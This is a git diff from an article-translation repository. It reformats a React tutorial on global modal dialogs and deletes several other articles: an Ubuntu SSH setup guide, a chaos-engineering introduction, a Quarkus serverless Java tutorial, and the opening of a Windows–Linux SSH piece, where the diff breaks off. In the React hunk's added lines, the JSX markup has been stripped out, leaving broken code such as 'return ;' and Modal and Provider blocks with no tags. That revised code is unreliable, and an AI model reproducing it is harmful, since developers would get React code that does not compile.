1a6a762096..f0debb9c82 100644 --- a/sources/tech/20210524 4 steps to set up global modals in React.md +++ b/sources/tech/20210524 4 steps to set up global modals in React.md @@ -1,15 +1,16 @@ -[#]: subject: (4 steps to set up global modals in React) -[#]: via: (https://opensource.com/article/21/5/global-modals-react) -[#]: author: (Ajay Pratap https://opensource.com/users/ajaypratap) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) +[#]: subject: "4 steps to set up global modals in React" +[#]: via: "https://opensource.com/article/21/5/global-modals-react" +[#]: author: "Ajay Pratap https://opensource.com/users/ajaypratap" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " 4 steps to set up global modals in React ====== Learn how to create interactive pop-up windows in a React web app. + ![Digital creative of a browser on the internet][1] A modal dialog is a window that appears on top of a web page and requires a user's interaction before it disappears. [React][2] has a couple of ways to help you generate and manage modals with minimal coding. @@ -24,11 +25,10 @@ In my opinion, the best way to manage modal dialogs in your React application is Here are the steps (and code) to set up global modals in React. I'm using [Patternfly][3] as my foundation, but the principles apply to any project. -#### 1\. Create a global modal component +#### 1. Create a global modal component In a file called **GlobalModal.tsx**, create your modal definition: - ``` import React, { useState, createContext, useContext } from 'react'; import { CreateModal, DeleteModal,UpdateModal } from './components'; @@ -46,25 +46,25 @@ const MODAL_COMPONENTS: any = { }; type GlobalModalContext = { - showModal: (modalType: string, modalProps?: any) => void; - hideModal: () => void; + showModal: (modalType: string, modalProps?: any) => void; + hideModal: () => void;  store: any; }; const initalState: GlobalModalContext = { - showModal: () => {}, - hideModal: () => {}, + showModal: () => {}, + hideModal: () => {},  store: {}, }; const GlobalModalContext = createContext(initalState); -export const useGlobalModalContext = () => useContext(GlobalModalContext); +export const useGlobalModalContext = () => useContext(GlobalModalContext); -export const GlobalModal: React.FC<{}> = ({ children }) => { +export const GlobalModal: React.FC<{}> = ({ children }) => {  const [store, setStore] = useState();  const { modalType, modalProps } = store || {}; - const showModal = (modalType: string, modalProps: any = {}) => { + const showModal = (modalType: string, modalProps: any = {}) => {    setStore({      ...store,      modalType, @@ -72,7 +72,7 @@ export const GlobalModal: React.FC<{}> = ({ children }) => {    });  }; - const hideModal = () => { + const hideModal = () => {    setStore({      ...store,      modalType: null, @@ -80,19 +80,19 @@ export const GlobalModal: React.FC<{}> = ({ children }) => {    });  }; - const renderComponent = () => { + const renderComponent = () => {    const ModalComponent = MODAL_COMPONENTS[modalType];    if (!modalType || !ModalComponent) {      return null;    } -   return <ModalComponent id="global-modal" {...modalProps} />; +   return ;  };  return ( -   <GlobalModalContext.Provider value={{ store, showModal, hideModal }}> +         {renderComponent()}      {children} -   </GlobalModalContext.Provider> +     ); }; ``` @@ -103,40 +103,39 @@ The `showModal` function takes two parameters: `modalType` and `modalProps`. The The `hideModal` function doesn't have any parameters; calling it causes the current open modal to close. -#### 2\. Create modal dialog components +#### 2. Create modal dialog components In a file called **CreateModal.tsx**, create a modal: - ``` import React from "react"; import { Modal, ModalVariant, Button } from "@patternfly/react-core"; import { useGlobalModalContext } from "../GlobalModal"; -export const CreateModal = () => { +export const CreateModal = () => {  const { hideModal, store } = useGlobalModalContext();  const { modalProps } = store || {};  const { title, confirmBtn } = modalProps || {}; - const handleModalToggle = () => { + const handleModalToggle = () => {    hideModal();  };  return ( -   <Modal +             {confirmBtn || "Confirm button"} -       </Button>, -       <Button key="cancel" variant="link" onClick={handleModalToggle}> +       , +             ]} -   > +   >      Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod      tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim      veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea @@ -144,7 +143,7 @@ export const CreateModal = () => {      velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat      cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id      est laborum. -   </Modal> +     ); }; ``` @@ -153,34 +152,33 @@ This has a custom hook, `useGlobalModalContext`, that provides store object from To delete a modal, create a file called **DeleteModal.tsx**: - ``` import React from "react"; import { Modal, ModalVariant, Button } from "@patternfly/react-core"; import { useGlobalModalContext } from "../GlobalModal"; -export const DeleteModal = () => { +export const DeleteModal = () => {  const { hideModal } = useGlobalModalContext(); - const handleModalToggle = () => { + const handleModalToggle = () => {    hideModal();  };  return ( -   <Modal +             Confirm -       </Button>, -       <Button key="cancel" variant="link" onClick={handleModalToggle}> +       , +             ]} -   > +   >      Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod      tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim      veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea @@ -188,41 +186,40 @@ export const DeleteModal = () => {      velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat      cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id      est laborum. -   </Modal> +     ); }; ``` To update a modal, create a file called **UpdateModal.tsx** and add this code: - ``` import React from "react"; import { Modal, ModalVariant, Button } from "@patternfly/react-core"; import { useGlobalModalContext } from "../GlobalModal"; -export const UpdateModal = () => { +export const UpdateModal = () => {  const { hideModal } = useGlobalModalContext(); - const handleModalToggle = () => { + const handleModalToggle = () => {    hideModal();  };  return ( -   <Modal +             Confirm -       </Button>, -       <Button key="cancel" variant="link" onClick={handleModalToggle}> +       , +             ]} -   > +   >      Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod      tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim      veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea @@ -230,15 +227,14 @@ export const UpdateModal = () => {      velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat      cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id      est laborum. -   </Modal> +     ); }; ``` -#### 3\. Integrate GlobalModal into the top-level component in your application - -To integrate the new modal structure you've created into your app, you just import the global modal class you've created. Here's my sample **App.tsx** file: +#### 3. Integrate GlobalModal into the top-level component in your application +To integrate the new modal structure you've created into your app, you just import the global modal class you've created. Here's my sample **App.tsx**file: ``` import "@patternfly/react-core/dist/styles/base.css"; @@ -248,9 +244,9 @@ import { AppLayout } from "./AppLayout"; export default function App() {  return ( -   <GlobalModal> -     <AppLayout /> -   </GlobalModal> +    +      +     ); } ``` @@ -259,55 +255,54 @@ App.tsx is the top-level component in your app, but you can add another componen `GlobalModal` is the root-level component where all your modal components are imported and mapped with their specific `modalType`. -#### 4\. Select the modal's button from the AppLayout component +#### 4. Select the modal's button from the AppLayout component Adding a button to your modal with **AppLayout.js**: - ``` import React from "react"; import { Button, ButtonVariant } from "@patternfly/react-core"; import { useGlobalModalContext, MODAL_TYPES } from "./components/GlobalModal"; -export const AppLayout = () => { +export const AppLayout = () => {  const { showModal } = useGlobalModalContext(); - const createModal = () => { + const createModal = () => {    showModal(MODAL_TYPES.CREATE_MODAL, {      title: "Create instance form",      confirmBtn: "Save"    });  }; - const deleteModal = () => { + const deleteModal = () => {    showModal(MODAL_TYPES.DELETE_MODAL);  }; - const updateModal = () => { + const updateModal = () => {    showModal(MODAL_TYPES.UPDATE_MODAL);  };  return ( -   <> -     <Button variant={ButtonVariant.primary} onClick={createModal}> +   <> +      +     
+     
+      +     
+     
+      +     ); }; ``` -There are three buttons in the AppLayout component: create modal, delete modal, and update modal. Each modal is mapped with the corresponding `modalType`: `CREATE_MODAL`, `DELETE_MODAL`, or `UPDATE_MODAL`. +There are three buttons in the AppLayout component: create modal, delete modal, and update modal. Each modal is mapped with the corresponding `modalType` : `CREATE_MODAL`, `DELETE_MODAL`, or `UPDATE_MODAL`. ### Use global dialogs @@ -315,22 +310,20 @@ Global modals are a clean and efficient way to handle dialogs in React. They are If you'd like to see the code in action, I've included the [complete application][4] I created for this article in a sandbox. -Leslie Hinson sits down with Andrés Galante, an expert HTML and CSS coder who travels the world... - -------------------------------------------------------------------------------- via: https://opensource.com/article/21/5/global-modals-react 作者:[Ajay Pratap][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/ajaypratap -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_web_internet_website.png?itok=g5B_Bw62 (Digital creative of a browser on the internet) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/browser_web_internet_website.png [2]: https://reactjs.org/ [3]: https://www.patternfly.org/v4/ [4]: https://codesandbox.io/s/affectionate-pine-gib74 diff --git a/sources/tech/20210530 Complete Guide to Configuring SSH in Ubuntu.md b/sources/tech/20210530 Complete Guide to Configuring SSH in Ubuntu.md deleted file mode 100644 index b66a99ec02..0000000000 --- a/sources/tech/20210530 Complete Guide to Configuring SSH in Ubuntu.md +++ /dev/null @@ -1,252 +0,0 @@ -[#]: subject: (Complete Guide to Configuring SSH in Ubuntu) -[#]: via: (https://itsfoss.com/set-up-ssh-ubuntu/) -[#]: author: (Chris Patrick Carias Stas https://itsfoss.com/author/chris/) -[#]: collector: (lujun9972) -[#]: translator: (hwlife) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Complete Guide to Configuring SSH in Ubuntu -====== - -SSH has become the default method of accessing a remote Linux server these days. - -SSH stands for Secure Shell and it’s a powerful, efficient, and popular network protocol used to establish communication between two computers in a remote fashion. And let’s not forget the secure part of its name; SSH encrypts all traffic to prevent attacks like hijacking and eavesdropping while offering different authentication methods and a myriad of configuration options. - -In this beginner’s guide, you’ll learn: - - * The basic concept of SSH - * Setting up SSH server (on the system you want to access remotely) - * Connecting to remote server via SSH from the client machine (your personal computer) - - - -### The absolute basics of SSH - -Before you see any configuration process, it will be better to go through the absolute basic concept of SSH. - -The SSH protocol is based on server-client architecture. The “server” allows the “client” to be connected over a communication channel. This channel is encrypted and the exchange is governed by the use of public and private SSH keys. - -![Image credit: SSH][1] - -[OpenSSH][2] is one of the most popular open source tools that provides the SSH functionality on Linux, BSD and Windows. - -For a successful SSH set up, you need to: - - * Have SSH server components on the machine that acts as the server. This is provided by **openssh-server** package. - * Have SSH client component on the machine from where you want to connect to the remote server machine. This is provided by **openssh-client** package and most Linux and BSD distributions come preinstalled with it. - - - -It is important to keep a distinction between the server and client. You might not want your personal computer to act as SSH server unless you have good reasons where you want others to connect to your system via SSH. - -Generally, you have a dedicated system working as the server. For example, a [Raspberry Pi running Ubuntu server][3]. You [enable SSH on the Raspberry Pi][4] so that you could control and manage the device from your main personal computer using SSH in a terminal. - -With that information, let’s see how you can set up a SSH server on Ubuntu. - -### Configuring SSH Server on Ubuntu - -Setting up SSH is not complicated and just needs a few steps to do it. - -#### Prerequisites - - * A user with **sudo** privileges on the server machine - * Internet connection to download the required packages - * At least another system in your network. It can be another computer on your LAN, a remote server via Internet, or a virtual machine hosted in your computer. - - - -_**Again, the SSH server installation should be done on the system that you want to act as server and to which you want to connect remotely via SSH.**_ - -#### Step 1: Install required packages - -Let’s start by opening a terminal window to enter the necessary commands. - -Remember to [update your Ubuntu system][5] before installing new packages or software with to make sure that you are running the latest versions. - -``` -sudo apt update && sudo apt upgrade -``` - -The package you need to run SSH Server is provided by openssh-server component from OpenSSH: - -``` -sudo apt install openssh-server -``` - -![][6] - -#### Step 2: Checking the status of the server - -Once the downloading and installation of the package is done the SSH service should be already running, but to be sure we will check it with: - -``` -service ssh status -``` - -You may also use the systemd commands: - -``` -sudo systemctl status ssh -``` - -You should see something like this, with the word Active highlighted. Hit `q` to return to the command prompt. - -![][7] - -If in your case the service is not running you will have to activate like this: - -``` -sudo systemctl enable --now ssh -``` - -#### Step 3: Allowing SSH through the firewall - -Ubuntu comes with a firewall utility called [UFW][8] (UncomplicatedFirewall) which is an interface for **iptables** that in turn manages the network’s rules. If the firewall is active, it may prevent the connection to your SSH Server. - -To configure UFW so that it allows the wanted access, you need to run the following command: - -``` -sudo ufw allow ssh -``` - -The status of UFW can be checked running `sudo ufw status`. - -At this time our SSH Server is up and running, just waiting for a connection from a client. - -### Connecting to the remote system from your local machine - -Your local Linux system should already have SSH client installed. If not, you may always install it using the following command on Ubuntu: - -``` -sudo apt install openssh-client -``` - -To connect to your Ubuntu system you need to know the IP address of the computer and use the `ssh` command, like this: - -``` -ssh [email protected] -``` - -Change **username** to your actual user in the system and **address** to the IP address of your Ubuntu machine. - -If you don’t [know the IP address of your computer][9] you can type `ip a` in the terminal of the server and check the output. You should have something like this: - -![Using “ip a” to find the IP address][10] - -As can be seen here my IP address is **192.168.1.111**. Let’s try connecting using the **[[email protected]][11]** format. - -``` -ssh [email protected] -``` - -The first time you connect to a SSH server, it will ask for permission to add the host. Type `yes` and hit Enter to continue. - -![First time connecting to the server][12] - -Immediately SSH tells you that the host was permanently added and then asks for the password assigned to the username. Type in the password and hit Enter one more time. - -![Host added, now type in the password][13] - -And voila! You will be logged into your Ubuntu system remotely! - -![Connected!][14] - -Now you can work in your remote system’s terminal as normal. - -#### Closing the SSH connection - -To close the connection you just need to type `exit` and it will close it at once, without asking for confirmation. - -![Closing the connection with “exit”][15] - -### Stopping and Disabling SSH in Ubuntu - -If you want to stop SSH service you will need this command: - -``` -sudo systemctl stop ssh -``` - -This will stop the service until you restart it or until the system is rebooted. To restart it, type: - -``` -sudo systemctl start ssh -``` - -Now, if you want to disable it from starting during system boot, use this: - -``` -sudo systemctl disable ssh -``` - -This won’t stop the service from running during the current session, just from loading during startup. If you want to let it start again during system boot, type: - -``` -sudo systemctl enable ssh -``` - -#### Other SSH clients - -The tool `ssh` is included in most *nix systems, from Linux to macOS, but those are not the only options in existence, here are a couple of clients that can be used from other operating systems: - - * [PuTTY][16] is a free SSH client for Windows and it’s open source. It’s full of features and very easy to use. If you are connecting to your Ubuntu machine from a Windows station, PuTTY is a great option. - * [JuiceSSH][17] is an amazing tool for Android users. If you are on the go and need a mobile client to connect to your Ubuntu system, I amply recommend giving JuiceSSH a go. It’s been around for almost 10 years and it’s free to use. - * And finally, [Termius][18] is available for Linux, Windows, macOS, iOS, and Android. It has a free tier version and also several premium options. If you are running a lot of servers and working with teams sharing connections then Termius is a good option for you. - - - -#### Wrapping Up - -With these instructions, you can set up SSH as a server service in our Ubuntu systems to be able to connect remotely and securely to your computer in order to work with the command line and perform any required task. - -Our other website, Linux Handbook, has various informational articles on SSH. From here, I recommend reading the following: - - * [Getting started with SSH on Linux][19] - * [Using SSH Config file to manage multiple SSH connections][20] - * [Adding public key to SSH server for password less authentication][21] - * [SSH hardening tips][22] to secure your SSH server - - - -If you find it overwhelming, [Linux Handbook has a premium video course that explains SSH for beginners][23] along with hands-on labs to follow. This will give you a more streamlined knowledge of the topic. - -Happy remote working! - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/set-up-ssh-ubuntu/ - -作者:[Chris Patrick Carias Stas][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/chris/ -[b]: https://github.com/lujun9972 -[1]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-diagram.png?resize=800%2C259&ssl=1 -[2]: https://www.openssh.com/ -[3]: https://itsfoss.com/install-ubuntu-server-raspberry-pi/ -[4]: https://itsfoss.com/ssh-into-raspberry/ -[5]: https://itsfoss.com/update-ubuntu/ -[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0001.png?resize=800%2C253&ssl=1 -[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0002.png?resize=800%2C263&ssl=1 -[8]: https://itsfoss.com/set-up-firewall-gufw/ -[9]: https://itsfoss.com/check-ip-address-ubuntu/ -[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-find-ip.png?resize=800%2C341&ssl=1 -[11]: https://itsfoss.com/cdn-cgi/l/email-protection -[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0004.png?resize=800%2C87&ssl=1 -[13]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0005.png?resize=800%2C57&ssl=1 -[14]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0006.png?resize=800%2C322&ssl=1 -[15]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0007.png?resize=800%2C87&ssl=1 -[16]: https://www.putty.org/ -[17]: https://juicessh.com/ -[18]: https://termius.com/ -[19]: https://linuxhandbook.com/ssh-basics/ -[20]: https://linuxhandbook.com/ssh-config-file/ -[21]: https://linuxhandbook.com/add-ssh-public-key-to-server/ -[22]: https://linuxhandbook.com/ssh-hardening-tips/ -[23]: https://linuxhandbook.com/sshcourse/ diff --git a/sources/tech/20210531 Get started with Kubernetes using chaos engineering.md b/sources/tech/20210531 Get started with Kubernetes using chaos engineering.md deleted file mode 100644 index 344f7c1e9e..0000000000 --- a/sources/tech/20210531 Get started with Kubernetes using chaos engineering.md +++ /dev/null @@ -1,75 +0,0 @@ -[#]: subject: (Get started with Kubernetes using chaos engineering) -[#]: via: (https://opensource.com/article/21/5/kubernetes-chaos) -[#]: author: (Jessica Cherry https://opensource.com/users/cherrybomb) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Get started with Kubernetes using chaos engineering -====== -Learn the basics of chaos engineering in this first article in a series -celebrating Kubernetes' 11th birthday. -![Scrabble letters spell out chaos for chaos engineering][1] - -Kubernetes is turning 11, so I'll be celebrating its birthday by giving you some open source tools that will help you cause chaos. Chaos engineering is part science, part planning, and part experiments. It's the discipline of experimenting on a system to build confidence in the system's capability to withstand turbulent conditions in production. - -Before I start passing out the gifts, in this introductory article, I will explain the basics of how chaos engineering works. - -### How do I get started with chaos engineering? - -In my experience, the best way to start chaos engineering is by taking an incident that has happened before in production and using it as an experiment. Use your past data, make a plan to break your system in a similar way, create a repair strategy, and confirm the outcome turns out exactly how you want. If your plan fails, you have a new way to experiment and move forward toward a new way to handle issues quickly. - -Best of all, you can document everything as you go, which means, over time, your entire system will be fully documented so that anyone can be on call without too many escalations and everyone can have a nice break on weekends. - -### What do you do in chaos engineering? - -Chaos engineering has some science behind how these experiments work. I've documented some of the steps: - - 1. **Define a steady state**: Use a monitoring tool to gather data about what your system looks like functionally when there are no problems or incidents. - 2. **Come up with a hypothesis or use a previous incident:** Now that you have defined a steady state, come up with a hypothesis about what would happen (or has happened) during an incident or outage. Use this hypothesis to generate a series of theories about what could happen and how to resolve the problems. Then you can start a plan to purposely cause the issue. - 3. **Introduce the problem:** Use that plan to break your system and begin real-world testing. Gather your broken metrics' states, use your planned fix, and keep track of how long it takes before you reach a resolution. Make sure you document everything for future outages. - 4. **Try to disprove your own hypothesis:** The best part of experimenting is trying to disprove what you think or plan. You want to create a different state, see how far you can take it, and generate a different steady state in the system. - - - -Make sure to create a control system in a steady state before you generate the broken variables in another system. This will make it easier to spot the differences in various steady states before, during, and after your experiment. - -### What do I need for chaos engineering? - -The best tools for beginning chaos engineering are: - - * Good documentation practices - * A monitoring system to capture your system in a steady state and a non-steady state - * Grafana - * Prometheus - * Chaos engineering tools - * Chaos mesh - * Litmus - * And more that I will cover in future articles - * A hypothesis - * A plan - - - -### Go forth and destroy - -Now that you have the basics in hand, it's time to go forth and destroy your system safely. I would plan to start causing chaos four times a year and work toward monthly destructions. - -Chaos engineering is good practice and a great way to keep your internal documentation up to date. Also, new upgrades or application deployments will be smoother over time, and your daily life will be easier with Kubernetes administration. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/5/kubernetes-chaos - -作者:[Jessica Cherry][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/cherrybomb -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/brett-jordan-chaos-unsplash.jpg?itok=sApp5dVd (Scrabble letters spell out chaos for chaos engineering) diff --git a/sources/tech/20210601 Get started with Java serverless functions.md b/sources/tech/20210601 Get started with Java serverless functions.md deleted file mode 100644 index e8c9184cef..0000000000 --- a/sources/tech/20210601 Get started with Java serverless functions.md +++ /dev/null @@ -1,225 +0,0 @@ -[#]: subject: (Get started with Java serverless functions) -[#]: via: (https://opensource.com/article/21/6/java-serverless-functions) -[#]: author: (Daniel Oh https://opensource.com/users/daniel-oh) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Get started with Java serverless functions -====== -Quarkus allows you to develop serverless workloads with familiar Java -technology. -![Tips and gears turning][1] - -The [serverless Java][2] journey started out with functions—small snippets of code running on demand. This phase didn't last long. Although functions based on virtual machine architecture in the 1.0 phase made this paradigm very popular, as the graphic below shows, there were limits around execution time, protocols, and poor local-development experience. - -Developers then realized that they could apply the same serverless traits and benefits to microservices and Linux containers. This launched the 1.5 phase, where some serverless containers completely abstracted [Kubernetes][3], delivering the serverless experience through [Knative][4] or another abstraction layer that sits on top of it. - -In the 2.0 phase, serverless starts to handle more complex orchestration and integration patterns combined with some level of state management. More importantly, developers want to keep using a familiar application runtime, Java, to run a combination of serverless and non-serverless workloads in legacy systems. - -![The serverless Java journey][5] - -(Daniel Oh, [CC BY-SA 4.0][6]) - -Before Java developers can start developing new serverless functions, their first task is to choose a new cloud-native Java framework that allows them to run Java functions quicker with a smaller memory footprint than traditional monolithic applications. This can be applied to various infrastructure environments, from physical servers to virtual machines to containers in multi- and hybrid-cloud environments. - -Developers might consider an opinionated Spring framework that uses the `java.util.function` package in [Spring Cloud Function][7] to support the development of imperative and reactive functions. Spring also enables developers to deploy Java functions to installable serverless platforms such as [Kubeless][8], [Apache OpenWhisk][9], [Fission][10], and [Project Riff][11]. However, there are concerns about slow startup and response times and heavy memory-consuming processes with Spring. This problem can be worse when running Java functions on scalable container environments such as Kubernetes. - -[Quarkus][12] is a new open source cloud-native Java framework that can help solve these problems. It aims to design serverless applications and write cloud-native microservices for running on cloud infrastructures (e.g., Kubernetes). - -Quarkus rethinks Java, using a closed-world approach to building and running it. It has turned Java into a runtime that's comparable to Go. Quarkus also includes more than 100 extensions that integrate enterprise capabilities, including database access, serverless integration, messaging, security, observability, and business automation. - -Here is a quick example of how developers can scaffold a Java serverless function project with Quarkus. - -### 1\. Create a Quarkus serverless Maven project - -Developers have multiple options to install a local Kubernetes cluster, including [Minikube][13] and [OKD][14] (OpenShift Kubernetes Distribution). This tutorial uses an OKD cluster for a developer's local environment because of the easy setup of serverless functionality on Knative and DevOps toolings. These guides for [OKD installation][15] and [Knative operator installation][16] offer more information about setting them up. - -The following command generates a Quarkus project (e.g., `quarkus-serverless-restapi`) to expose a simple REST API and download a `quarkus-openshift` extension for Knative service deployment: - - -``` -$ mvn io.quarkus:quarkus-maven-plugin:1.13.4.Final:create \ -       -DprojectGroupId=org.acme \ -       -DprojectArtifactId=quarkus-serverless-restapi \ -       -Dextensions="openshift" \ -       -DclassName="org.acme.getting.started.GreetingResource" -``` - -### 2\. Run serverless functions locally - -Run the application using Quarkus development mode to check if the REST API works, then tweak the code a bit: - - -``` -`$ ./mvnw quarkus:dev` -``` - -The output will look like this: - - -``` -__  ____  __  _____   ___  __ ____  ______ - --/ __ \/ / / / _ | / _ \/ //_/ / / / __/ - -/ /_/ / /_/ / __ |/ , _/ ,< / /_/ /\ \   -\--\\___\\_\\____/_/ |_/_/|_/_/|_|\\____/___/   -INFO  [io.quarkus] (Quarkus Main Thread) quarkus-serverless-restapi 1.0.0-SNAPSHOT on JVM (powered by Quarkus xx.xx.xx.) started in 2.386s. Listening on: -INFO  [io.quarkus] (Quarkus Main Thread) Profile dev activated. Live Coding activated. -INFO  [io.quarkus] (Quarkus Main Thread) Installed features: [cdi, kubernetes, resteasy] -``` - -> **Note**: Keep your Quarkus application running to use Live Coding. This allows you to avoid having to rebuild, redeploy the application, and restart the runtime whenever the code changes. - -Now you can hit the REST API with a quick `curl` command. The output should be `Hello RESTEasy`: - - -``` -$ curl localhost:8080/hello -Hello RESTEasy -``` - -Tweak the return text in `GreetingResource.java`: - - -``` -    public [String][17] hello() { -        return "Quarkus Function on Kubernetes"; -    } -``` - -You will see new output when you reinvoke the REST API: - - -``` -$ curl localhost:8080/hello -Quarkus Function on Kubernetes -``` - -There's not been a big difference between normal microservices and serverless functions. A benefit of Quarkus is that it enables developers to use any microservice to deploy Kubernetes as a serverless function. - -### 3\. Deploy the functions to a Knative service - -If you haven't already, [create a namespace][18] (e.g., `quarkus-serverless-restapi`) on your OKD (Kubernetes) cluster to deploy this Java serverless function. - -Quarkus enables developers to generate Knative and Kubernetes resources by adding the following variables in `src/main/resources/application.properties`: - - -``` -quarkus.container-image.group=quarkus-serverless-restapi <1> -quarkus.container-image.registry=image-registry.openshift-image-registry.svc:5000 <2> -quarkus.kubernetes-client.trust-certs=true <3> -quarkus.kubernetes.deployment-target=knative <4> -quarkus.kubernetes.deploy=true <5> -quarkus.openshift.build-strategy=docker <6> -``` - -> Legend: -> -> <1> Define a project name where you deploy a serverless application -> <2> The container registry to use -> <3> Use self-signed certs in this simple example to trust them -> <4> Enable the generation of Knative resources -> <5> Instruct the extension to deploy to OpenShift after the container image is built -> <6> Set the Docker build strategy - -This command builds the application then deploys it directly to the OKD cluster: - - -``` -`$ ./mvnw clean package -DskipTests` -``` - -> **Note:** Make sure to log in to the right project (e.g., `quarkus-serverless-restapi`) by using the `oc login` command ahead of time. - -The output should end with `BUILD SUCCESS`. - -Add a Quarkus label to the Knative service with this `oc` command: - - -``` -$ oc label rev/quarkus-serverless-restapi-00001 -app.openshift.io/runtime=quarkus --overwrite -``` - -Then access the OKD web console to go to the [Topology view in the Developer perspective][19]. You might see that your pod (serverless function) is already scaled down to zero (white-line circle). - -![Topology view][20] - -(Daniel Oh, [CC BY-SA 4.0][6]) - -### 4\. Test the functions on Kubernetes - -Retrieve a route `URL` of the serverless function by running the following `oc` command: - - -``` -$ oc get rt/quarkus-serverless-restapi -[...] -NAME                      URL                             READY   REASON -quarkus-serverless[...]     True -``` - -Access the route `URL` with a `curl` command: - - -``` -`$ curl http://quarkus-serverless-restapi-quarkus-serverless-restapi.SUBDOMAIN/hello` -``` - -In a few seconds, you will get the same result as you got locally: - - -``` -`Quarkus Function on Kubernetes` -``` - -When you return to the Topology view in the OKD cluster, the Knative service scales up automatically. - -![Scaling the Knative Function][21] - -(Daniel Oh, [CC BY-SA 4.0][6]) - -This Knative service pod will go down to zero again in 30 seconds because of Knative serving's default setting. - -### What's next? - -The serverless journey has evolved, starting with functions on virtual machines to serverless containers and integration with enterprise legacy systems. Along this journey, enterprise developers can still use familiar technologies like Java for developing serverless functions by using Quarkus to create a project then build and deploy it to Kubernetes with a Knative service. - -The next article in this series will guide you on optimizing Java serverless functions in Kubernetes for faster startup time and small memory footprints at scale. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/java-serverless-functions - -作者:[Daniel Oh][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/daniel-oh -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gears_devops_learn_troubleshooting_lightbulb_tips_520.png?itok=HcN38NOk (Tips and gears turning) -[2]: https://opensource.com/article/21/5/what-serverless-java -[3]: https://opensource.com/article/19/6/reasons-kubernetes -[4]: https://cloud.google.com/knative/ -[5]: https://opensource.com/sites/default/files/uploads/serverless-journey.png (The serverless Java journey) -[6]: https://creativecommons.org/licenses/by-sa/4.0/ -[7]: https://spring.io/serverless -[8]: https://kubeless.io/ -[9]: https://openwhisk.apache.org/ -[10]: https://fission.io/ -[11]: https://projectriff.io/ -[12]: https://quarkus.io/ -[13]: https://minikube.sigs.k8s.io/docs/start/ -[14]: https://docs.okd.io/latest/welcome/index.html -[15]: https://docs.okd.io/latest/installing/index.html -[16]: https://knative.dev/docs/install/knative-with-operators/ -[17]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+string -[18]: https://docs.okd.io/latest/applications/projects/configuring-project-creation.html -[19]: https://docs.okd.io/latest/applications/application_life_cycle_management/odc-viewing-application-composition-using-topology-view.html -[20]: https://opensource.com/sites/default/files/uploads/topologyview.png (Topology view) -[21]: https://opensource.com/sites/default/files/uploads/scale-up-knative-function.png (Scaling the Knative Function) diff --git a/sources/tech/20210602 Establish an SSH connection between Windows and Linux.md b/sources/tech/20210602 Establish an SSH connection between Windows and Linux.md deleted file mode 100644 index 2d76592dc7..0000000000 --- a/sources/tech/20210602 Establish an SSH connection between Windows and Linux.md +++ /dev/null @@ -1,230 +0,0 @@ -[#]: subject: (Establish an SSH connection between Windows and Linux) -[#]: via: (https://opensource.com/article/21/6/ssh-windows) -[#]: author: (Stephan Avenwedde https://opensource.com/users/hansic99) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Establish an SSH connection between Windows and Linux -====== -Use the open source tool, PuTTY 